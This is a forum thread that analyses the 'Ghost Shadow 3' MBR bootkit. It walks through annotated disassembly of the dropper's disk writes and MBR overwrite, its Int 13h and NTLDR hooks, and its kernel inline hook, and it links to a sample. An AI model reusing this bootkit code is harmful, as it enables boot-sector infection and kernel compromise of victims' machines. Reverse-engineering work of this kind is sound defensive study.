willJ 发表于 2013-5-2 17:39

再看鬼影3代

本帖最后由 willJ 于 2013-5-5 16:45 编辑

像鬼影,MBR这些引导扇区病毒已经被众人玩爆了,总结下最近分析的一个老毒鬼影3代,也算是对基本的引导扇区知识做了了解,和大家分享下。0x1 鬼影3代母体分析
0x2 鬼影3代MBR分析
0x3 鬼影3代保护模式代码分析
0x4 鬼影3代释放的alg.exe分析
0x5 鬼影3代释放的hello_tt.sys分析

鬼影3代母体主要功能:1.获取磁盘结构。2.获取原始MBR,并且加密保存在磁盘末尾地方。3.写入病毒MBR。4.将驱动和下载者保存到磁盘末尾地区。5.以SCM方式启动驱动,驱动将创建下载者,运行下载者。OD打开母体的时候没有问题,但是IDA打开的时候会受到花指令了干扰,最好利用U ,C调整代码,或者直接将花指令nop掉,不然在F5的时候会遇见问题。第一步打开第一磁盘,通过DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY)获取磁盘结构,以便后面将重要数据存放在磁盘末尾。获得下面的结构得到相应磁盘参数。typedef struct _DISK_GEOMETRY {
LARGE_INTEGER Cylinders;
MEDIA_TYPE    MediaType;
ULONG         TracksPerCylinder;
ULONG         SectorsPerTrack;
ULONG         BytesPerSector;
} DISK_GEOMETRY, *PDISK_GEOMETRY;
004114A0   .6A 00         push 0x0                                 ; /hTemplateFile = NULL
004114A2   .6A 00         push 0x0                                 ; |Attributes = 0
004114A4   .6A 03         push 0x3                                 ; |Mode = OPEN_EXISTING
004114A6   .6A 00         push 0x0                                 ; |pSecurity = NULL
004114A8   .6A 03         push 0x3                                 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
004114AA   .68 000000C0   push 0xC0000000                        ; |Access = GENERIC_READ|GENERIC_WRITE
004114AF   .68 2C0D4100   push mb.00410D2C                         ; |FileName = "\\.\PhysicalDrive0"
004114B4   .FF15 40024000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
004114BA   .8985 B8FDFFFF mov dword ptr ss:,eax
004114C0   .6A 00         push 0x0                                 ; /pOverlapped = NULL
004114C2   .8D95 D4FDFFFF lea edx,dword ptr ss:         ; |
004114C8   .52            push edx                                 ; |pBytesReturned
004114C9   .6A 18         push 0x18                              ; |OutBufferSize = 18 (24.)
004114CB   .8D85 D8FDFFFF lea eax,dword ptr ss:         ; |
004114D1   .50            push eax                                 ; |OutBuffer
004114D2   .6A 00         push 0x0                                 ; |InBufferSize = 0
004114D4   .6A 00         push 0x0                                 ; |InBuffer = NULL
004114D6   .68 00000700   push 0x70000                           ; |IoControlCode = IOCTL_DISK_GET_DRIVE_GEOMETRY
004114DB   .8B8D B8FDFFFF mov ecx,dword ptr ss:         ; |
004114E1   .51            push ecx                                 ; |hDevice
004114E2   .FF15 20024000 call dword ptr ds:[<&KERNEL32.DeviceIoCo>; \DeviceIoControl第二步计算机磁盘大小,获得一个适当的位置存放恶意代码,此位置靠近磁盘末尾00411546   .8985 CCFDFFFF mov dword ptr ss:,eax
0041154C   .8995 D0FDFFFF mov dword ptr ss:,edx
00411552   .8B95 CCFDFFFF mov edx,dword ptr ss:
00411558   .81EA 00200300 sub edx,0x32000
0041155E   .8B85 D0FDFFFF mov eax,dword ptr ss:
00411564   .83D8 00       sbb eax,0x0
00411567   .81EA 00280000 sub edx,0x2800
0041156D   .83D8 00       sbb eax,0x0
00411570   .81C2 00020000 add edx,0x200
00411576   .83D0 00       adc eax,0x0
00411579   .8995 F0FDFFFF mov dword ptr ss:,edx
0041157F   .8985 F4FDFFFF mov dword ptr ss:,eax
00411585   .8B8D F0FDFFFF mov ecx,dword ptr ss:
0041158B   .81E9 00020000 sub ecx,0x200
00411591   .8B95 F4FDFFFF mov edx,dword ptr ss:
00411597   .83DA 00       sbb edx,0x0
0041159A   .81C1 00280000 add ecx,0x2800
004115A0   .83D2 00       adc edx,0x0
004115A3   .81E9 00020000 sub ecx,0x200
004115A9   .83DA 00       sbb edx,0x0
004115AC   .898D C4FDFFFF mov dword ptr ss:,ecx
004115B2   .8995 C8FDFFFF mov dword ptr ss:,edx
004115B8   .83BD CCFDFFFF>cmp dword ptr ss:,0x0第三步读取原始MBR进行加密,加密算法是左循环移73H位,也就是左循环移3位。0041169C   .8A82 00034000 mov al,byte ptr ds:
004116A2   .8885 B4FDFFFF mov byte ptr ss:,al
004116A8   .8A85 B4FDFFFF mov al,byte ptr ss:
004116AE   .66:B9 7300    mov cx,0x73
004116B2   .D2C0          rol al,cl
004116B4   .8885 B4FDFFFF mov byte ptr ss:,al第四步通过SetFilePointer设置指针坐标位置,WriteFile写入病毒代码到磁盘末尾已经MBR。004117B0   .6A 00         push 0x0                                 ; /Origin = FILE_BEGIN
004117B2   .8D55 FC       lea edx,dword ptr ss:         ; |
004117B5   .52            push edx                                 ; |pOffsetHi
004117B6   .8B45 F8       mov eax,dword ptr ss:         ; |
004117B9   .50            push eax                                 ; |OffsetLo
004117BA   .8B8D B8FDFFFF mov ecx,dword ptr ss:         ; |
004117C0   .51            push ecx                                 ; |hFile
004117C1   .FF15 28024000 call dword ptr ds:[<&KERNEL32.SetFilePoi>; \SetFilePointer
004117C7   .83F8 FF       cmp eax,-0x1
004117CA   .0F84 9E010000 je mb.0041196E
004117D0   .6A 00         push 0x0                                 ; /pOverlapped = NULL
004117D2   .8D95 D4FDFFFF lea edx,dword ptr ss:         ; |
004117D8   .52            push edx                                 ; |pBytesWritten
004117D9   .68 00E20000   push 0xE200                              ; |nBytesToWrite = E200 (57856.)
004117DE   .68 002B4000   push mb.00402B00                         ; |Buffer = mb.00402B00
004117E3   .8B85 B8FDFFFF mov eax,dword ptr ss:         ; |
004117E9   .50            push eax                                 ; |hFile
004117EA   .FF15 2C024000 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile第五步创建驱动hello_tt.sys,通过SCM服务方式加载驱动,删除驱动,等待5秒(这个期间驱动在C盘创建下载者alg.exe),启动C盘的alg.exe。母体执行完毕。004118D8   > \6A 00         push 0x0                                 ; /hTemplateFile = NULL
004118DA   .68 80000000   push 0x80                              ; |Attributes = NORMAL
004118DF   .6A 04         push 0x4                                 ; |Mode = OPEN_ALWAYS
004118E1   .6A 00         push 0x0                                 ; |pSecurity = NULL
004118E3   .6A 00         push 0x0                                 ; |ShareMode = 0
004118E5   .68 00000040   push 0x40000000                        ; |Access = GENERIC_WRITE
004118EA   .68 180D4100   push mb.00410D18                         ; |FileName = "hello_tt.sys"
004118EF   .FF15 40024000 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA
004118F5   .8985 B0FDFFFF mov dword ptr ss:,eax
004118FB   .83BD B0FDFFFF>cmp dword ptr ss:,-0x1
00411902   .74 6A         je short mb.0041196E
00411904   .6A 00         push 0x0                                 ; /pOverlapped = NULL
00411906   .8D85 D4FDFFFF lea eax,dword ptr ss:         ; |
0041190C   .50            push eax                                 ; |pBytesWritten
0041190D   .68 001A0000   push 0x1A00                              ; |nBytesToWrite = 1A00 (6656.)
00411912   .8B8D BCFDFFFF mov ecx,dword ptr ss:         ; |
00411918   .81C1 00034000 add ecx,mb.00400300                      ; |
0041191E   .51            push ecx                                 ; |Buffer
0041191F   .8B95 B0FDFFFF mov edx,dword ptr ss:         ; |
00411925   .52            push edx                                 ; |hFile
00411926   .FF15 2C024000 call dword ptr ds:[<&KERNEL32.WriteFile>>; \WriteFile
0041192C   .8B85 B0FDFFFF mov eax,dword ptr ss:
00411932   .50            push eax                                 ; /hObject
00411933   .FF15 30024000 call dword ptr ds:[<&KERNEL32.CloseHandl>; \CloseHandle
00411939   .68 180D4100   push mb.00410D18                         ;ASCII "hello_tt.sys"
0041193E   .68 0C0D4100   push mb.00410D0C                         ;ASCII "hello_tt"
00411943   .E8 B8F9FFFF   call mb.00411300                         ;通过SCM服务方式启动驱动
00411948   .83C4 08       add esp,0x8
0041194B   .68 180D4100   push mb.00410D18                         ; /FileName = "hello_tt.sys"
00411950   .FF15 34024000 call dword ptr ds:[<&KERNEL32.DeleteFile>; \DeleteFileA
00411956   .68 88130000   push 0x1388                              ; /Timeout = 5000. ms
0041195B   .FF15 38024000 call dword ptr ds:[<&KERNEL32.Sleep>]    ; \Sleep
00411961   .6A 05         push 0x5                                 ; /ShowState = SW_SHOW
00411963   .68 000D4100   push mb.00410D00                         ; |CmdLine = "C:\alg.exe"
00411968   .FF15 3C024000 call dword ptr ds:[<&KERNEL32.WinExec>]; \WinExec
0041196E   >8B8D B8FDFFFF mov ecx,dword ptr ss:
00411974   .51            push ecx                                 ; /hObject
00411975   .FF15 30024000 call dword ptr ds:[<&KERNEL32.CloseHandl>; \CloseHandle
样本地址:
http://www.52pojie.cn/forum.php?mod=viewthread&tid=94212

willJ 发表于 2013-5-2 17:39

本帖最后由 willJ 于 2013-5-2 18:01 编辑

鬼影3的MBR目的是Hook Int 13H,当执行Int 13H读操作的时候,进一步去搜索Osloader.exe中的特侦码,进行下一步的Hook,等待下一次执行获取权限。解密后面加密后的代码。普及下Windows的启动过程1.BIOS加电自检2.自检完成将MBR加载到内存7C00H的地方执行MBR代码3.执行PBR4.加载执行NTLDR5.BOOT.INI,内核加载等6.进入系统其中NTLDR是由两个部分组成,Startup.com+Osloader.exeseg000:0000 ;
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ; |   This file has been generated by The Interactive Disassembler (IDA)    |
seg000:0000 ; |         Copyright (c) 2011 Hex-Rays, <support@hex-rays.com>         |
seg000:0000 ; |                      License info: 48-327F-7274-B7                      |
seg000:0000 ; |                            ESET spol. s r.o.                            |
seg000:0000 ; +-------------------------------------------------------------------------+
seg000:0000 ;
seg000:0000 ; Input MD5   : 5705DEC26970DA764A175090823A00B1
seg000:0000 ; Input CRC32 : 2D814F11
seg000:0000
seg000:0000 ; ---------------------------------------------------------------------------
seg000:0000 ; File Name   : j:\Virus\鬼影3分析\鬼影3之MBR分析\DECODEMBR
seg000:0000 ; Format      : Binary file
seg000:0000 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:0000
seg000:0000               .686p
seg000:0000               .mmx
seg000:0000               .model flat
seg000:0000
seg000:0000 ; ===========================================================================
seg000:0000
seg000:0000 ; Segment type: Pure code
seg000:0000 seg000          segment byte public 'CODE' use16
seg000:0000               assume cs:seg000
seg000:0000               assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000               jb      short loc_5   ; cli是关中断
seg000:0000                                       ; 防止有些硬件中断对程序的干扰
seg000:0002               jnb   short loc_5   ; 不管任何情况都跳到loc_5
seg000:0002 ; ---------------------------------------------------------------------------
seg000:0004               db0Ah
seg000:0005 ; ---------------------------------------------------------------------------
seg000:0005
seg000:0005 loc_5:                                  ; CODE XREF: seg000:0000j
seg000:0005                                       ; seg000:0002j
seg000:0005               cli                     ; cli是关中断
seg000:0005                                       ; 防止有些硬件中断对程序的干扰
seg000:0006               mov   word ptr cs:600h, es
seg000:000B               mov   cs:602h, sp
seg000:0010               mov   word ptr cs:604h, ss
seg000:0015               mov   dword ptr cs:7FCh, 800h
seg000:001F               lss   sp, cs:7FCh   ; 进行一些初始化操作
seg000:0025               pushad                  ; 保存寄存器
seg000:0027               push    ds            ; 压栈ds
seg000:0028               mov   bx, cs:413h   ; BIOS的内存地址存放到bx
seg000:002D               sub   bx, 0Dh         ; 申请0Dhkb的大小的BIOS内存
seg000:0031               and   bl, 0FCh      ; 按照4K对齐
seg000:0034               mov   cs:413h, bx   ; 剩下的地址赋值回去
seg000:0039               shl   bx, 6         ; 获取段地址大小
seg000:0039                                       ; 计算方法是×2的10次方,然后除以2的4次方,所以左移6位
seg000:003C               mov   es, bx          ; 将段地址赋值给es
seg000:003E               xor   bx, bx          ; 清零bx
seg000:0040               mov   ax, 201h      ; ah赋值为2h,al赋值为1h
seg000:0040                                       ; ah为int 13h的功能号,al为读取扇区数
seg000:0043               mov   cx, 1         ; cx赋值为1
seg000:0043                                       ; cx表示从第一个扇区读取
seg000:0046               mov   dx, 80h ;   ; 80H表示读取介质类型为硬盘
            
seg000:0049               int   13h             ; DISK - READ SECTORS INTO MEMORY
seg000:0049                                       ; AL = number of sectors to read, CH = track, CL = sector
seg000:0049                                       ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:0049                                       ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:004B
seg000:004B loc_4B:                                 ; DATA XREF: seg000:0049r
seg000:004B                                       ; seg000:0063r ...
seg000:004B               jb      short loc_50    ; 压栈es
seg000:004D
seg000:004D loc_4D:                                 ; DATA XREF: seg000:00B3w
seg000:004D               jnb   short loc_50    ; 跳向loc_50指向
seg000:004D ; ---------------------------------------------------------------------------
seg000:004F               db    2
seg000:0050 ; ---------------------------------------------------------------------------
seg000:0050
seg000:0050 loc_50:                                 ; CODE XREF: seg000:loc_4Bj
seg000:0050                                       ; seg000:loc_4Dj
seg000:0050               push    es            ; 压栈es
seg000:0051               push    offset loc_55
seg000:0054               retf                  ; 相当于跳转命令
seg000:0054                                       ; jmp loc_55
seg000:0055
seg000:0055 loc_55:                                 ; DATA XREF: seg000:0051o
seg000:0055               push    cs
seg000:0056               pop   ds            ; 想当于指令mov ds,cs
seg000:0057               mov   si, 6Ch ; 此为一个扩展读操作,参数放在一个DAP结构中
seg000:0057                                       ; struct DiskAddressPacket
seg000:0057                                       ; {
seg000:0057                                       ;   BYTE PacketSize;   // 数据包尺寸(16字节)
seg000:0057                                       ;   BYTE Reserved;       // ==0
seg000:0057                                       ;   WORD BlockCount;   // 要传输的数据块个数(以扇区为单位)
seg000:0057                                       ;   DWORD BufferAddr;    // 传输缓冲地址(segment:offset)
seg000:0057                                       ;   QWORD BlockNum;      // 磁盘起始绝对块地址
seg000:0057                                       ; };
seg000:005A               mov   ax, cs
seg000:005C               mov   , ax
seg000:005F               mov   ah, 42h ; 'B'
seg000:0061               mov   dl, 80h ; 从DAP结构可以看出第一,第二参数是固定的,从4FFD483h读取14H个扇区到200h位置
seg000:0061                                       ; db 10h
seg000:0061                                       ; db 0
seg000:0061                                       ; dw 14h
seg000:0061                                       ; dd 200h
seg000:0061                                       ; dd 4FFD482h
seg000:0061                                       ; dd 0
seg000:0063               int   13h             ; DISK - IBM/MS Extension - EXTENDED READ (DL - drive, DS:SI - disk address packet)
seg000:0065               jb      short loc_6A
seg000:0067               jnb   short loc_6A    ; 跳向loc_6A
seg000:0067 ; ---------------------------------------------------------------------------
seg000:0069               db    3
seg000:006A ; ---------------------------------------------------------------------------
seg000:006A
seg000:006A loc_6A:                                 ; CODE XREF: seg000:0065j
seg000:006A                                       ; seg000:0067j
seg000:006A               jmp   short loc_7C    ; 以下代码是解密加密的代码区
seg000:006A                                       ; 从9Eh开始,大小2762h
seg000:006A ; ---------------------------------------------------------------------------
seg000:006C               db 10h
seg000:006D               db 0
seg000:006E               dw 14h
seg000:0070               dd 200h
seg000:0074               dd 4FFD482h
seg000:0078               dd 0
seg000:007C ; ---------------------------------------------------------------------------
seg000:007C
seg000:007C loc_7C:                                 ; CODE XREF: seg000:loc_6Aj
seg000:007C               mov   si, 9Eh ; '   ; 以下代码是解密加密的代码区
seg000:007C                                       ; 从9Eh开始,大小2762h
seg000:007F               mov   cx, 2762h
seg000:0082
seg000:0082 loc_82:                                 ; CODE XREF: seg000:009Cj
seg000:0082               push    cx
seg000:0083               mov   al,
seg000:0085               or      al, al
seg000:0087               jz      short _DeCodeOver ; 解密结束
seg000:0089               jb      short _DeCode   ; 赋值cx为73h
seg000:008B               jnb   short _DeCode   ; 执行解密代码
seg000:008B ; ---------------------------------------------------------------------------
seg000:008D               db    3
seg000:008E ; ---------------------------------------------------------------------------
seg000:008E
seg000:008E _DeCode:                              ; CODE XREF: seg000:0089j
seg000:008E                                       ; seg000:008Bj
seg000:008E               mov   cx, 73h ; 赋值cx为73h
seg000:0091               jb      short loc_96    ; 将al循环右移73H,其实也就是右移3H
seg000:0093               jnb   short loc_96    ; 将al循环右移73H,其实也就是右移3H
seg000:0093 ; ---------------------------------------------------------------------------
seg000:0095               db    4
seg000:0096 ; ---------------------------------------------------------------------------
seg000:0096
seg000:0096 loc_96:                                 ; CODE XREF: seg000:0091j
seg000:0096                                       ; seg000:0093j
seg000:0096               ror   al, cl          ; 将al循环右移73H,其实也就是右移3H
seg000:0098               mov   , al      ; 解密后的内容赋值回去
seg000:009A
seg000:009A _DeCodeOver:                            ; CODE XREF: seg000:0087j
seg000:009A               inc   si            ; si自增1
seg000:009B               pop   cx
seg000:009C               loop    loc_82          ; 判断是否执行结束
seg000:009E               push    0               ; 后面的代码都是经过解密获取的
seg000:009E                                       ; 我将解密的代码拼接在一起
seg000:00A1               pop   es            ; 将es赋值为0
seg000:00A2               mov   eax, dword ptr es:loc_4B+1 ; loc_4b+1保存着INT 13H的地址
seg000:00A7               mov   cs:dword_106, eax ; 将Int 13h地址赋值给cs:dword_106,保存原始Int 13H的地址
seg000:00AC               mov   word ptr es:loc_4B+1, offset _HookInt13HFunc ; 将Hook Int 13h地址赋值过去,达到Hook效果
seg000:00B3               mov   word ptr es:loc_4D+1, cs ; 段寄存器赋值
seg000:00B8               xor   ebx, ebx      ; 清零ebx
seg000:00BB               mov   bx, cs          ; cs段赋值给bx
seg000:00BD               shl   ebx, 4          ; 获取段地址
seg000:00C1               or      cs:239h, ebx    ; 段地址赋值
seg000:00C7               or      cs:3C3h, ebx    ; 段地址赋值
seg000:00CD               add   ebx, 204h       ; 因为后面的代码通过扩展读到200H的地方
seg000:00CD                                       ; 这里的地址就是后面的病毒代码地址
seg000:00D4               mov   cs:200h, ebx    ; 将Hook的地址放到cs:200H的地方
seg000:00DA               mov   di, 7C00h       ; 目标地址
seg000:00DD               mov   si, 2600h       ; 原始MBR存放地址
seg000:00E0               mov   cx, 200h      ; 大小为200H
seg000:00E3               cld
seg000:00E4               rep movsb               ; 串赋值操作,将原始MBR拷贝到7C00H地方
seg000:00E6               pop   ds
seg000:00E7               popad
seg000:00E9               lss   sp, es:602h
seg000:00EF               mov   es, word ptr es:600h ; 恢复现场操作
seg000:00F4               jmp   far ptr 0:7C00h ; 跳向7C00H处执行原始MBR
seg000:00F9 ; ---------------------------------------------------------------------------
seg000:00F9
seg000:00F9 _HookInt13HFunc:                        ; DATA XREF: seg000:00ACo
seg000:00F9               pushf
seg000:00FA               cmp   ah, 42h ; 'B'
seg000:00FD               jz      short loc_10A
seg000:00FF               cmp   ah, 2
seg000:0102               jz      short loc_10A
seg000:0104               popf                  ; 以上代码是判断Int 13H的功能号是2h还是42H
seg000:0104 ; ---------------------------------------------------------------------------
seg000:0105               db 0EAh ;             ; EA是Jmp的机器猫,下面存放原始Int 13h的地址
seg000:0106 dword_106       dd 0                  ; DATA XREF: seg000:00A7w
seg000:0106                                       ; seg000:0110r
seg000:010A ; ---------------------------------------------------------------------------
seg000:010A
seg000:010A loc_10A:                              ; CODE XREF: seg000:00FDj
seg000:010A                                       ; seg000:0102j
seg000:010A               popf
seg000:010B               mov   word ptr cs:loc_11F+1, ax ; 将ax存放在指定位置
seg000:010F               pushf
seg000:0110               call    cs:dword_106    ; 调用原始int 13H功能
seg000:0115               jb      _Over         ; 如果不是读操作,执行完毕就结束
seg000:0119               pushf
seg000:011A               cli                     ; cli是关中断,防止有些硬件中断对程序的干扰
seg000:011B               push    es
seg000:011C               push    ds
seg000:011D               pushad                  ; 保护现场操作
seg000:011F
seg000:011F loc_11F:                              ; DATA XREF: seg000:010Bw
seg000:011F                                       ; seg000:0129w ...
seg000:011F               mov   ax, 0         ; 此处被上面的代码修改过
seg000:011F                                       ; mov   word ptr cs:loc_11F+1, ax
seg000:0122               cmp   ah, 42h ; 'B'   ; 比较中断功能号是不是扩展读
seg000:0125               jnz   short _NotExternRead ; 不是扩展读就跳走
seg000:0127               lodsw
seg000:0128               lodsw                   ; ds:si扩展读的方式,指向的是磁盘数据地址数据包
seg000:0129               mov   word ptr cs:loc_11F+1, ax
seg000:012D               les   bx,       ; LES指令的功能是:把内存中指定位置的双字操作数的低位字装入指令中指定的寄存器
seg000:012D                                       ; 高位字装入ES寄存器。 也就是找到缓存的位子
seg000:012F
seg000:012F _NotExternRead:                         ; CODE XREF: seg000:0125j
seg000:012F               mov   ax, word ptr cs:loc_11F+1 ; 获取中断功能号
seg000:0133               test    al, al          ; ax为0就不跳,不为0就跳,测试读取的扇区数
seg000:0135               jle   short _EXIT
seg000:0137               xor   cx, cx          ; 清零cx
seg000:0139               mov   cl, al          ; 将扇区数存放到cl
seg000:013B               shl   cx, 9         ; 获取扇区总大小
seg000:013E               mov   al, 8Bh ; '   ; 第一个搜索标志
seg000:0140               mov   di, bx          ; 目标地址
seg000:0142               cld                     ; 置位标志位
seg000:0143
seg000:0143 _INT13HookScan:                         ; CODE XREF: seg000:014Fj
seg000:0143                                       ; seg000:0157j
seg000:0143               repne scasb             ; 开始查找
seg000:0145               jnz   short _EXIT
seg000:0147               cmp   dword ptr es:, 74F685F0h ; 这是下一个搜索标志位
seg000:014F               jnz   short _INT13HookScan ;检测 ntldr 中的特征序列 8B F0 85 F6 74 21/22 80 3D
seg000:0151               cmp   word ptr es:, 8021h ; 这也是一个搜索标志
seg000:0157               jnz   short _INT13HookScan ;检测 ntldr 中的特征序列 8B F0 85 F6 74 21/22 80 3D
seg000:0159               push    es            ; 压栈es
seg000:015A               xor   eax, eax      ; 清零eax
seg000:015D               mov   es, ax          ; es清零
seg000:015F               mov   ax, cs          ; cs赋值给ax
seg000:0161               shl   eax, 4          ; 获取段地址
seg000:0165               add   eax, 200h       ; 这个为病毒后面代码区域
seg000:016B               pop   es            ; 还原es
seg000:016C               mov   word ptr es:, 15FFh ; 这里是一个CALL的机器码
seg000:0172               mov   es:, eax; 这里达到Hook的效果Call ,offset的地址存放在eax
seg000:0177
seg000:0177 _EXIT:                                  ; CODE XREF: seg000:0135j
seg000:0177                                       ; seg000:0145j
seg000:0177               popad
seg000:0179               pop   ds
seg000:017A               pop   es
seg000:017B               popf
seg000:017C
seg000:017C _Over:                                  ; CODE XREF: seg000:0115j
seg000:017C               retf    2
下图是搜索的地方,以及要Hook的地方。

未知的事物 发表于 2015-3-1 18:29

确实有点凶

willJ 发表于 2013-5-2 17:39

本帖最后由 willJ 于 2013-5-2 19:13 编辑

保护模式下面的代码的主要作用是以下几点1.当执行Osloader.exe的时候,由于前期对其做了Hook操作,所以病毒代码再次执行起来,这个时候已经切换到保护模式。2.搜索空间获取_BlLoaderBlock地址,通过此结构获取ntoskrnl.exe的基址。3.通过搜索导出表的方式搜索IoGetCurrentPorcess的地址4.对IoGetCurrentPorcess进行Inline Hook操作5.当执行IoGetCurrentPorcess时候再次运行病毒代码,病毒再次获得执行权限6.病毒开始替换驱动beep.sys,加载自己的驱动seg000:00000000               dd 0                  ; NTLDR Hook Call的地址
seg000:00000004 ; ---------------------------------------------------------------------------
seg000:00000004               pushf
seg000:00000005               pusha                   ; 保护现场操作
seg000:00000006               mov   edi, ; 指向的是Osloader,将其存放到edi
seg000:0000000A               and   edi, 0FFF00000h ; 将edi操作后获得镜像基址
seg000:00000010               cld                     ; 设置DF标志位为0
seg000:00000011               mov   al, 0C7h ; '; 将0C7h赋值到al用于搜索
seg000:00000013
seg000:00000013 _ModuleFindLoop:                        ; CODE XREF: seg000:00000014j
seg000:00000013                                       ; seg000:0000001Cj
seg000:00000013               scasb                   ; 搜索edi中的内容
seg000:00000014               jnz   short _ModuleFindLoop ; 搜索edi中的内容
seg000:00000016               cmp   dword ptr , 40003446h ; 继续搜索标志位
seg000:0000001C               jnz   short _ModuleFindLoop ; 搜索edi中的内容
seg000:0000001E               mov   al, 0A1h ; '; 赋值0A1h到al用于搜索
seg000:00000020
seg000:00000020 _ModuleBaseFindLoop:                  ; CODE XREF: seg000:00000021j
seg000:00000020               scasb                   ; 继续将edi中的内容与al进行比较
seg000:00000021               jnz   short _ModuleBaseFindLoop ; 继续将edi中的内容与al进行比较
seg000:00000023               mov   esi,       ; ESI <- LIST_ENTRY
seg000:00000023                                       ; struct _BlLoaderBlock
seg000:00000023                                       ; {
seg000:00000023                                       ; +00hLIST_ENTRY      module list links
seg000:00000023                                       ; +08h         ???
seg000:00000023                                       ; +18hPTR             image base address
seg000:00000023                                       ; +1ChPTR             module entry point
seg000:00000023                                       ; +20hDWORD         size of loaded module in memory
seg000:00000023                                       ; +24hUNICODE_STRINGfull module path and file name
seg000:00000023                                       ; +2ChUNICODE_STRINGmodule file name
seg000:00000023                                       ; }
seg000:00000025               mov   esi,       ; ESI指向的是头节点
seg000:00000027               lodsd                   ; 获取第二个节点放在eax
seg000:00000028               mov   ebx, ; 将镜像基址存放到ebx
seg000:0000002B               call    _HookFunction
seg000:00000030               sub   dword ptr , 5 ; Hook的起始地址,会被写入Ntoskrnl.exe,长度为37H
seg000:00000037               pusha
seg000:00000038
seg000:00000038 loc_38:
seg000:00000038               mov   eax, 1
seg000:0000003D               xor   ecx, ecx
seg000:0000003F               mov   ch, 3         ; 赋值ecx为300H,表示长度为300H
seg000:00000041               mov   edx, 0C0000000h
seg000:00000046
seg000:00000046 loc_46:
seg000:00000046               mov   esi, 200h
seg000:0000004B
seg000:0000004B loc_4B:
seg000:0000004B               mov   edi, 0FFDF0800h
seg000:00000050               xchg    eax,       ; 0FFDF0800h内核当中共享用户数据区地址
seg000:00000052               wbinvd
seg000:00000054               rep movsb               ; 拷贝数据到0FFDF0800h
seg000:00000056               mov   , eax
seg000:00000058               wbinvd                  ; WBINVD指令使片上的超高速缓存无效即:
seg000:00000058                                       ; 清洗片上的超高速缓存。
seg000:00000058                                       ; 但该指令将把片上的超高速缓存中更改的内容写回主存。
seg000:00000058                                       ; 该指令是特权指令,只有在实方式和保护方式的特权级0下,才可执行该指令。
seg000:0000005A               push    0
seg000:0000005C               push    0               ; 这两句会被下面Hook代码修改掉
seg000:00000061               push    0FFDF08AFh      ; 相当于jmp指令,跳向0FFDF08AFH继续执行恶意代码
seg000:00000066               retn
seg000:00000067
seg000:00000067 ; =============== S U B R O U T I N E =======================================
seg000:00000067
seg000:00000067
seg000:00000067 _HookFunction   proc near               ; CODE XREF: seg000:0000002Bp
seg000:00000067
seg000:00000067 arg_24          = dword ptr28h
seg000:00000067
seg000:00000067               pop   esi
seg000:00000068               mov   ecx, 37h ; '7'; pop esi,将esi赋值为CALL的返回地址
seg000:00000068                                       ; 赋值ecx为37h,也就是Hook代码的长度,后面会用到
seg000:0000006D               mov   , ebx ; ebx存放镜像基址,存放到
seg000:00000073               lea   edi, ; 将镜像基址+40H的地址赋值给edi
seg000:00000076               mov   ebp, edi      ; 将edi赋值给ebp,保存edi
seg000:00000078               rep movsb               ; 将Hook函数代码拷贝到镜像基址+40H的地方
seg000:0000007A               push    0CE8C3177h      ; 这是IoGetCurrentProcess的hash
seg000:0000007F               call    _GetPeExport    ; 通过遍历PE导出表对比HASH确定所需要函数地址
seg000:00000084               xchg    eax, esi      ; 调换eax和esi的值
seg000:00000085               sub   edi, 0Ah
seg000:0000008B               movsd
seg000:0000008C               sub   edi, 6
seg000:00000092               movsb                   ; 修改Hook代码,以便返回到IoGetCurrentProcess中执行
seg000:00000093               mov   byte ptr , 0E8h ; ' ; E8是Call的机器码
seg000:00000097               sub   ebp, esi
seg000:00000099               mov   , ebp    ; 这里进行对函数的Inline Hook操作
seg000:00000099                                       ; 使用方法类似Call ebp
seg000:0000009C               popa
seg000:0000009D               popf
seg000:0000009E               mov   esi, eax
seg000:000000A0               test    eax, eax
seg000:000000A2               jnz   short locret_AE ; mov   esi, eax
seg000:000000A2                                       ; test    eax, eax
seg000:000000A2                                       ; jnz   short locret_AE
seg000:000000A2                                       ; 以上恢复Osloader.exe的代码
seg000:000000A4               pushf
seg000:000000A5               add   , 21h ; '!'
seg000:000000AD               popf                  ; 返回地址+21H得到返回地址
seg000:000000AD                                       ; 进行恢复后跳向指向的地址
seg000:000000AE
seg000:000000AE locret_AE:                              ; CODE XREF: _HookFunction+3Bj
seg000:000000AE               retn

以下代码是执行shellcode替换驱动
seg000:000000AF               mov   ebp, esp
seg000:000000B1               mov   edi,
seg000:000000B4               mov   ecx, cr0
seg000:000000B7               mov   edx, ecx
seg000:000000B9               and   ecx, 0FFFEFFFFh
seg000:000000BF               mov   cr0, ecx      ; 去除内存页面的写保护,也就是通过CR0的置位17位
seg000:000000C2               pop   eax
seg000:000000C3               stosd
seg000:000000C4               pop   eax
seg000:000000C5               stosb
seg000:000000C6               mov   cr0, edx      ; 恢复页面的写保护
seg000:000000C9               jb      short loc_CE
seg000:000000CB               jnb   short loc_CE
seg000:000000CB ; ---------------------------------------------------------------------------
seg000:000000CD               db20h
seg000:000000CE ; ---------------------------------------------------------------------------
seg000:000000CE
seg000:000000CE loc_CE:                                 ; CODE XREF: seg000:000000C9j
seg000:000000CE                                       ; seg000:000000CBj
seg000:000000CE               enter   4, 0
seg000:000000D2               push    136E47C7h       ; 这个Hash是PsCreateSystemThread
seg000:000000D7               call    _GetPeExport    ; 获取此函数的地址
seg000:000000DC               lea   ebx,
seg000:000000DF               push    0
seg000:000000E4               push    0FFDF0903h
seg000:000000E9               push    0
seg000:000000EE               push    0
seg000:000000F3               push    0
seg000:000000F8               push    0
seg000:000000FD               push    ebx
seg000:000000FE               call    eax             ; 创建一个线程,现场函数地址0FFDF0903h
seg000:00000100               leave
seg000:00000101               popa
seg000:00000102               retn
seg000:00000103 ; ---------------------------------------------------------------------------
seg000:00000103               pusha
seg000:00000104               enter   40h, 0
seg000:00000108
seg000:00000108 loc_108:                              ; CODE XREF: seg000:000001ADj
seg000:00000108                                       ; seg000:000001D5j
seg000:00000108               mov   dword ptr , 0FFFFFFFFh
seg000:0000010F               mov   dword ptr , 0FECED300h
